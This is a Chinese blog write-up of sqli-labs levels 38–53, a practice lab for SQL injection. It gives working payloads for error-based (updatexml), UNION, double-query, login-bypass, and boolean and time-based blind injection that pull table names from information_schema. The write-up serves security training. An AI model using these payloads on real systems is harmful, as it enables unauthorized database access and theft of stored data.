【Web安全靶场】sqli-labs-master 38-53 Stacked-Injections

2024-03-01 06:12

本文主要是介绍【Web安全靶场】sqli-labs-master 38-53 Stacked-Injections,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

sqli-labs-master 38-53 Stacked-Injections

其他关卡和靶场看专栏…

文章目录

  • sqli-labs-master 38-53 Stacked-Injections
    • 第三十八关-报错注入
    • 第三十九关-报错注入
    • 第四十关-盲注
    • 第四十一关-盲注
    • 第四十二关-联合报错双查询注入
    • 第四十三关-报错注入
    • 第四十四关-盲注
    • 第四十五关-盲注
    • 第四十六关-报错注入
    • 第四十七关-报错注入
    • 第四十八关-时间盲注
    • 第四十九关-时间盲注
    • 第五十关-报错注入
    • 第五十一关-报错注入
    • 第五十二关-时间盲注
    • 第五十三关-时间盲注
  • 总结

第三十八关-报错注入

?id=1'
?id=1' and '1'='1

通过上述语句可以判断这是单引号闭合,根据报错信息可以试一下报错注入:

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

在这里插入图片描述

第三十九关-报错注入

?id=2-1

通过上述语句回显1的信息可以初步判断这是数字型注入,根据报错信息可以尝试报错注入

?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)

在这里插入图片描述

第四十关-盲注

?id=1'
?id=1' and '1'='1
?id=1' and '1'='2
?id=1' and length(database())=8 and '1'='1

对于第一个语句页面没有回显错误信息,所以假设为单引号闭合试一下第二个和第三个发现页面仅仅有显示和不显示,所以使用盲注

第四十一关-盲注

?id=2-1
?id=2 and 1=1

第一段语句回显1的信息,第二段回显2的信息,得知这是字符型注入,没有报错信息,所以试一下盲注:

?id=1 and length(database())=8

第四十二关-联合报错双查询注入

对账号密码分别进行单引号探针发现,仅仅password部分有报错,根据报错信息得知这是单引号闭合,尝试union注入:

login_user=1&login_password=1' order by 3#&mysubmit=Login
login_user=1&login_password=1' order by 4#&mysubmit=Login

在这里插入图片描述

login_user=1&login_password=1' union select 1,database(),3#&mysubmit=Login

在这里插入图片描述

login_user=1&login_password=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3#&mysubmit=Login

在这里插入图片描述

同样也可以进行双查询注入:

login_user=1&login_password=1' union select 1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#&mysubmit=Login

在这里插入图片描述

也可以直接updatexml报错注入:

login_user=1&login_password=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)#&mysubmit=Login

在这里插入图片描述

第四十三关-报错注入

对账号密码进行引号探针发现仅仅password部分显示报错信息,根据报错信息可以知道这是单引号加上括号闭合:

在这里插入图片描述

尝试报错注入,报错内容正常回显:

login_user=1&login_password=1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)#&mysubmit=Login

在这里插入图片描述

第四十四关-盲注

login_user=1&login_password=1' or '1'='1&mysubmit=Login

在对账号和密码添加引号时候发现没有任何报错,所以有可能print_r(mysqli_error())被注释了。尝试or,发现成功登录:

在这里插入图片描述

所以判断这是单引号闭合,由于没有报错信息所以尝试Union注入。输入order by判断字段数时候,发现原来应有的报错信息变成了登录失败,order by 3以内为成功,4及以上为登录失败,所以union select 1,2,3判断回显位,发现没有回显位,所以只能进行盲注:

login_user=1&login_password=1' or length(database())=8 -- #&mysubmit=Login

第四十五关-盲注

login_user=1&login_password=1' or '1'='1&mysubmit=Login
login_user=1&login_password=1" or "1"="1&mysubmit=Login

通过上述语句并没有得到任何的报错信息,所以猜测存在括号:

$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

查看源代码发现确实存在括号,所以构造闭合,成功登录:

login_user=1&login_password=1') or ('1'='1&mysubmit=Login

在这里插入图片描述

由于没有报错信息所以使用盲注:

login_user=1&login_password=1') or length(database())=8 -- #&mysubmit=Login

第四十六关-报错注入

查看源代码发现order by关键字,这个关键字的作用就是针对第几列进行升序排序

$sql = "SELECT * FROM users ORDER BY $id";

对参数值进行探针,发现order by后面是可以添加语句的,添加引号发现存在报错信息,所以尝试报错注入:

?sort=3 and sleep(3)
?sort=4 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)

在这里插入图片描述

第四十七关-报错注入

添加引号之后回显报错信息,可知这是单引号闭合,并且可以尝试报错注入

在这里插入图片描述

?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

在这里插入图片描述

第四十八关-时间盲注

添加单引号之后发现没有返回排序信息,并且没有报错信息,所以猜测报错函数被注释了,故尝试盲注。使用2-1发现和1的效果是一样的,所以判断是数字型注入

?sort=1 and if(length(database())=8,sleep(2),1)

这一道题使用不了布尔盲注,因为sort的值仅仅是order by的值而不是where条件值。

第四十九关-时间盲注

使用单引号探针没有回显报错信息,所以猜测报错函数被注释了,所以尝试:

?sort=1' -- #

页面正常显示,所以判断这是单引号闭合,由于报错函数被注释所以使用盲注:

?sort=1' and if(length(database())=8,sleep(1),1) -- #

第五十关-报错注入

单引号探针显示报错信息,所以判断这是数字型注入,且可以尝试报错注入:

在这里插入图片描述

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)

在这里插入图片描述

第五十一关-报错注入

好简单:

?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

在这里插入图片描述

第五十二关-时间盲注

引号探针没有回显任何信息,使用1’ and ‘1’='1并没有正常显示,使用2-1回显1的信息,所以判断是数字型注入,由于没有报错信息,所以使用时间盲注:

?sort=1 and if(length(database())=8,sleep(1),1)

第五十三关-时间盲注

服了,后面为什么这么简单…加上单引号没有东西显示,所以我们尝试闭合并使用时间盲注:

?sort=1' and sleep(3) -- #

有延时,所以存在时间盲注。

总结

后面的真的好简单,没啥好总结的,做了这么多题发现这一部分没啥好看的。

这篇关于【Web安全靶场】sqli-labs-master 38-53 Stacked-Injections的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/761453

相关文章

解决JavaWeb-file.isDirectory()遇到的坑问题

《解决JavaWeb-file.isDirectory()遇到的坑问题》JavaWeb开发中,使用`file.isDirectory()`判断路径是否为文件夹时,需要特别注意:该方法只能判断已存在的文... 目录Jahttp://www.chinasem.cnvaWeb-file.isDirectory()遇

JavaWeb-WebSocket浏览器服务器双向通信方式

《JavaWeb-WebSocket浏览器服务器双向通信方式》文章介绍了WebSocket协议的工作原理和应用场景,包括与HTTP的对比,接着,详细介绍了如何在Java中使用WebSocket,包括配... 目录一、概述二、入门2.1 POM依赖2.2 编写配置类2.3 编写WebSocket服务2.4 浏

浅析Rust多线程中如何安全的使用变量

《浅析Rust多线程中如何安全的使用变量》这篇文章主要为大家详细介绍了Rust如何在线程的闭包中安全的使用变量,包括共享变量和修改变量,文中的示例代码讲解详细,有需要的小伙伴可以参考下... 目录1. 向线程传递变量2. 多线程共享变量引用3. 多线程中修改变量4. 总结在Rust语言中,一个既引人入胜又可

Spring常见错误之Web嵌套对象校验失效解决办法

《Spring常见错误之Web嵌套对象校验失效解决办法》:本文主要介绍Spring常见错误之Web嵌套对象校验失效解决的相关资料,通过在Phone对象上添加@Valid注解,问题得以解决,需要的朋... 目录问题复现案例解析问题修正总结  问题复现当开发一个学籍管理系统时,我们会提供了一个 API 接口去

使用IntelliJ IDEA创建简单的Java Web项目完整步骤

《使用IntelliJIDEA创建简单的JavaWeb项目完整步骤》:本文主要介绍如何使用IntelliJIDEA创建一个简单的JavaWeb项目,实现登录、注册和查看用户列表功能,使用Se... 目录前置准备项目功能实现步骤1. 创建项目2. 配置 Tomcat3. 项目文件结构4. 创建数据库和表5.

手把手教你idea中创建一个javaweb(webapp)项目详细图文教程

《手把手教你idea中创建一个javaweb(webapp)项目详细图文教程》:本文主要介绍如何使用IntelliJIDEA创建一个Maven项目,并配置Tomcat服务器进行运行,过程包括创建... 1.启动idea2.创建项目模板点击项目-新建项目-选择maven,显示如下页面输入项目名称,选择

科研绘图系列:R语言扩展物种堆积图(Extended Stacked Barplot)

介绍 R语言的扩展物种堆积图是一种数据可视化工具,它不仅展示了物种的堆积结果,还整合了不同样本分组之间的差异性分析结果。这种图形表示方法能够直观地比较不同物种在各个分组中的显著性差异,为研究者提供了一种有效的数据解读方式。 加载R包 knitr::opts_chunk$set(warning = F, message = F)library(tidyverse)library(phyl

Java Web指的是什么

Java Web指的是使用Java技术进行Web开发的一种方式。Java在Web开发领域有着广泛的应用,主要通过Java EE(Enterprise Edition)平台来实现。  主要特点和技术包括: 1. Servlets和JSP:     Servlets 是Java编写的服务器端程序,用于处理客户端请求和生成动态网页内容。     JSP(JavaServer Pages)

客户案例:安全海外中继助力知名家电企业化解海外通邮困境

1、客户背景 广东格兰仕集团有限公司(以下简称“格兰仕”),成立于1978年,是中国家电行业的领军企业之一。作为全球最大的微波炉生产基地,格兰仕拥有多项国际领先的家电制造技术,连续多年位列中国家电出口前列。格兰仕不仅注重业务的全球拓展,更重视业务流程的高效与顺畅,以确保在国际舞台上的竞争力。 2、需求痛点 随着格兰仕全球化战略的深入实施,其海外业务快速增长,电子邮件成为了关键的沟通工具。

安全管理体系化的智慧油站开源了。

AI视频监控平台简介 AI视频监控平台是一款功能强大且简单易用的实时算法视频监控系统。它的愿景是最底层打通各大芯片厂商相互间的壁垒,省去繁琐重复的适配流程,实现芯片、算法、应用的全流程组合,从而大大减少企业级应用约95%的开发成本。用户只需在界面上进行简单的操作,就可以实现全视频的接入及布控。摄像头管理模块用于多种终端设备、智能设备的接入及管理。平台支持包括摄像头等终端感知设备接入,为整个平台提